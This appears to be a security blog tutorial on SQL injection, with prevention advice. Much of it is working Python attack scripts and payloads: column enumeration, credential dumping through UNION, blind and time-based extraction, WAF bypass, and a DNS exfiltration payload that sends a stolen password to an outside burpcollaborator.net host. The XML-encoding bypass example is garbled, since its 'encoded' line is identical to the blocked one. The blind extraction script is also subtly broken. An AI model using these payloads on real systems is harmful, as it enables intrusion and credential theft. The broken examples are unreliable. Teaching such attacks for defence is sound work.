SQL Injection Vulnerabilities Deep Dive: From UNION Attacks to Blind Exploitation

Web Security Research
16 MARCH, 2026 16 Min Read

Overview: SQL injection (SQLi) remains one of the most critical and prevalent web security vulnerabilities. It allows attackers to interfere with database queries, potentially exposing sensitive data, bypassing authentication, or gaining complete database control. This comprehensive guide explores SQL injection from basic UNION-based attacks to advanced blind exploitation techniques, with practical examples and defensive strategies.

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. This can enable unauthorized data access, authentication bypass, and in severe cases, complete database compromise. Despite being known for over two decades, SQL injection continues to rank among the OWASP Top 10 most critical web application security risks.

In this comprehensive guide, we'll explore the full spectrum of SQL injection vulnerabilities—from simple in-band attacks to sophisticated blind exploitation techniques. Each section includes practical exploitation methods using Python and the requests library, along with defensive recommendations.

4
SQLi Categories
15+
Exploitation Techniques
100%
Preventable

Understanding SQL Injection: The Fundamentals

SQL injection occurs when user-supplied input is incorporated into SQL queries without proper validation or sanitization. The attacker can then manipulate the query structure to execute unintended commands.

🔓 How SQLi Works

Consider a typical login query:

-- Original Query
SELECT * FROM users WHERE username = '[input]' AND password = '[input]'

-- Attacker Input (username)
administrator'--

-- Resulting Query
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

-- The -- comments out the password check, allowing login without credentials

Key SQL Injection Concepts

' (Single Quote)

Closes the existing string in the query, allowing injection of additional SQL commands.

-- (Comment)

SQL comment indicator; ignores the rest of the line, bypassing syntax errors and extra conditions.

OR 1=1

A tautology (always true) that forces the WHERE clause to match every row.

UNION

Combines results from multiple SELECT queries, enabling data extraction from other tables.

Category 1: In-Band SQL Injection (UNION-Based)

In-band SQL injection is the most straightforward type, where the attacker can see the results of their injected queries directly in the application's response. UNION-based attacks are the most common form.

Determining the Number of Columns

Before executing a UNION attack, you must determine how many columns the original query returns. Two methods are commonly used:

📊 ORDER BY Method

Incrementally increase the column index until an error occurs:

# Python script to determine column count
import requests

def find_column_count(url, param):
    for i in range(1, 50):
        payload = f"' ORDER BY {i}--"
        response = requests.get(f"{url}?{param}={payload}")
        
        if "error" in response.text.lower() or response.status_code == 500:
            return i - 1  # Previous value was the last valid
    
    return None

# Usage
columns = find_column_count("https://target.com/products", "category")
print(f"Query returns {columns} columns")

🔢 UNION SELECT NULL Method

Submit UNION SELECT payloads with varying NULL counts:

# Payloads to test
UNION SELECT NULL--
UNION SELECT NULL, NULL--
UNION SELECT NULL, NULL, NULL--

# When the number matches, the page returns normally
# (possibly with an extra row of NULL values)

Finding Columns with Useful Data Types

After determining the column count, probe each column to find which can hold string data (necessary for extracting text like usernames and passwords):

# Testing each column for string compatibility
# Assuming 4 columns:

UNION SELECT 'a', NULL, NULL, NULL--    # Test column 1
UNION SELECT NULL, 'a', NULL, NULL--    # Test column 2
UNION SELECT NULL, NULL, 'a', NULL--    # Test column 3
UNION SELECT NULL, NULL, NULL, 'a'--    # Test column 4

# If no error occurs, that column can hold strings

Retrieving Data from Other Tables

Once you've identified string-capable columns, you can extract data from other database tables:

📋 Basic UNION Attack

# Original query
SELECT name, description FROM products WHERE category = 'Gifts'

# Injected payload
' UNION SELECT username, password FROM users--

# Result: Application displays product names/descriptions
# PLUS all usernames and passwords from the users table

🔗 Concatenating Multiple Values

When you only have one string column available, concatenate multiple values:

# Oracle syntax
' UNION SELECT username || '~' || password FROM users--

# MySQL syntax
' UNION SELECT CONCAT(username, '~', password) FROM users--

# PostgreSQL syntax
' UNION SELECT username || '~' || password FROM users--

# Result: admin~secretpass123
#         user1~password456
#         etc.

Category 2: Database Enumeration

After confirming SQL injection, the next step is gathering information about the database structure. This helps plan further exploitation.

Identifying Database Type and Version

Database Version Query
Microsoft SQL Server SELECT @@version
MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

Listing Database Contents

Most databases (except Oracle) have an information_schema that provides metadata about database structure:

-- Get all table names
SELECT table_name FROM information_schema.tables

-- Get columns from specific table
SELECT column_name FROM information_schema.columns 
WHERE table_name = 'users'

-- Get actual data
SELECT username, password FROM users

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'

Category 3: Blind SQL Injection

Blind SQL injection occurs when the application doesn't return query results or database errors in its responses. The attacker must infer information through indirect methods.

Blind SQLi with Conditional Responses

The application responds differently based on whether the injected condition is true or false:

🎯 Extracting Data Character-by-Character

import requests
import string

def blind_sqli_extract(url, param, query):
    extracted = ""
    
    for position in range(1, 50):  # Max 50 characters
        for char in string.ascii_lowercase + string.digits + '_':
            # Build conditional payload
            payload = f"' AND {query}='{char}'--"
            
            response = requests.get(f"{url}?{param}={payload}")
            
            # Check if response indicates TRUE condition
            if "Welcome" in response.text or response.status_code == 200:
                extracted += char
                print(f"Extracted so far: {extracted}")
                break
    
    return extracted

# Usage: Extract administrator password
query = "(SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')"
password = blind_sqli_extract("https://target.com/filter", "category", query)

Blind SQLi with Conditional Errors

Some applications don't change their response content, but do return different HTTP status codes or error messages when database errors occur:

# Trigger error only if condition is TRUE
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

# If 1=1 is true, division by zero causes error
# If 1=1 is false, query returns 'a' without error

# Exploitation pattern:
' AND (SELECT CASE WHEN (username='administrator') 
    THEN 1/0 ELSE 'a' END FROM users)='a

# Error = username exists
# No error = username doesn't exist

Blind SQLi with Time Delays

When responses are identical regardless of the condition, time-based techniques can infer data by measuring response times:

⏱️ Database-Specific Delay Functions

-- PostgreSQL
'; SELECT pg_sleep(10)--

-- MySQL
'; SELECT SLEEP(10)--

-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(10); END;--

-- SQL Server
'; WAITFOR DELAY '0:0:10'--

# Conditional time delay:
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) 
    ELSE pg_sleep(0) END)--

# If condition is TRUE: 10 second delay
# If condition is FALSE: Immediate response
import requests
import time

def time_based_sqli(url, param, query):
    start = time.time()
    
    payload = f"' AND {query}--"
    response = requests.get(f"{url}?{param}={payload}")
    
    elapsed = time.time() - start
    
    if elapsed > 5:  # Threshold for delay
        return True  # Condition is TRUE
    else:
        return False  # Condition is FALSE

# Extract password length
query = "(SELECT LENGTH(password) FROM users WHERE username='administrator')=10"
if time_based_sqli("https://target.com/filter", "category", query):
    print("Password is 10 characters long")

Category 4: Error-Based SQL Injection

Error-based SQL injection exploits verbose database error messages to extract data. Misconfigured databases may reveal query structure or even data in error messages.

Extracting Data via Error Messages

⚠️ CAST() Function Exploitation

Force type conversion errors that reveal data:

-- Attempt to convert password (string) to integer
SELECT CAST((SELECT password FROM users WHERE username='admin') AS int)

-- Error message reveals the password:
ERROR: invalid input syntax for type integer: "supersecret123"

# This effectively turns blind SQLi into visible SQLi

Category 5: Filter Bypass Techniques

Web Application Firewalls (WAFs) and input filters often block common SQL injection keywords. Various encoding and obfuscation techniques can bypass these protections.

XML Encoding Bypass

Some applications process XML input. XML entity encoding can obfuscate SQL keywords:

<!-- Normal SQL injection (blocked by WAF) -->
<productId>123' UNION SELECT * FROM users--</productId>

<!-- XML-encoded bypass -->
<productId>123' UNION SELECT * FROM users--</productId>

<!-- S = S, E = E, L = L, E = E, C = C, T = T -->
<!-- Decodes to: SELECT on the server side -->

Other Bypass Techniques

Advanced Exploitation: Out-of-Band (OAST) SQL Injection

Out-of-band SQL injection triggers DNS or HTTP requests to an external server, allowing data exfiltration even when responses aren't visible:

-- SQL Server OAST (DNS lookup)
'; EXEC master..xp_dirtree '//0efdymgw1o5w9ina.burpcollaborator.net/a'--

-- Exfiltrating data via DNS
'; DECLARE @p varchar(1024);
   SET @p = (SELECT password FROM users WHERE username='Administrator');
   EXEC('master..xp_dirtree "//'+@p+'.burpcollaborator.net/a"')--

-- Result: DNS query to "supersecret123.burpcollaborator.net"
-- Attacker captures the subdomain = password

Impact of SQL Injection

📊 Data Breach

Unauthorized access to sensitive data including PII, credentials, financial information, and intellectual property.

🔐 Authentication Bypass

Login without valid credentials, potentially gaining administrative access to the application.

💾 Data Manipulation

Modify or delete database contents, compromising data integrity and availability.

🖥️ Remote Code Execution

In some cases (especially with xp_cmdshell), SQLi can lead to full server compromise.

Prevention Strategies

SQL injection is entirely preventable with proper development practices. Here are the most effective defenses:

✅ Use Parameterized Queries (Prepared Statements)

The single most effective defense. Query structure is defined separately from data, preventing injection.

# ❌ Vulnerable (string concatenation)
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ Secure (parameterized)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
✅ Use Stored Procedures

Encapsulate SQL logic in the database with parameterized inputs. Still requires parameterization within the procedure.

✅ Input Validation & Allow-Listing

Validate input against expected patterns. For known values (like categories), use allow-lists rather than block-lists.

✅ Escaping User Input

If parameterized queries aren't possible, escape special characters. Note: This is database-specific and less reliable than parameterization.

✅ Principle of Least Privilege

Database accounts used by applications should have minimal necessary permissions. Never use admin/root accounts for application connections.

✅ Web Application Firewall (WAF)

Deploy WAF rules to detect and block SQL injection patterns. Remember: WAFs are a supplementary control, not a primary defense.

✅ Error Handling

Never expose database error messages to users. Log errors internally and display generic messages externally.

SQL Injection Testing Checklist

□ Test all input fields (forms, URL parameters, headers, cookies)
□ Submit single quote (') and look for errors
□ Test boolean conditions (OR 1=1, OR 1=2)
□ Test time-based payloads (SLEEP, WAITFOR, pg_sleep)
□ Test UNION-based attacks (determine column count first)
□ Test error-based extraction (CAST, CONVERT functions)
□ Test different encodings (URL, XML, Unicode)
□ Test database-specific syntax (Oracle, MySQL, PostgreSQL, SQL Server)
□ Test information_schema queries for enumeration
□ Test OAST techniques for blind SQLi confirmation
□ Test second-order SQL injection (stored data used in queries)
□ Test out-of-band channels (DNS, HTTP callbacks)

Key Principle: SQL injection is a symptom of mixing code and data. The fundamental fix is to keep them separate through parameterized queries. No amount of filtering or escaping is as reliable as proper query structure.

Conclusion

SQL injection remains one of the most dangerous and prevalent web security vulnerabilities. From simple authentication bypasses to complete database compromise, the impact ranges from minor data exposure to catastrophic breaches.

The good news? SQL injection is entirely preventable. By using parameterized queries, implementing proper input validation, and following secure development practices, developers can eliminate this vulnerability class from their applications.

As you build or audit applications, remember: never trust user input, always use parameterized queries, and test thoroughly. The attackers are certainly testing your defenses—make sure they fail.

Web Security
SQL Injection
PortSwigger
Database Security
Penetration Testing
Secure Development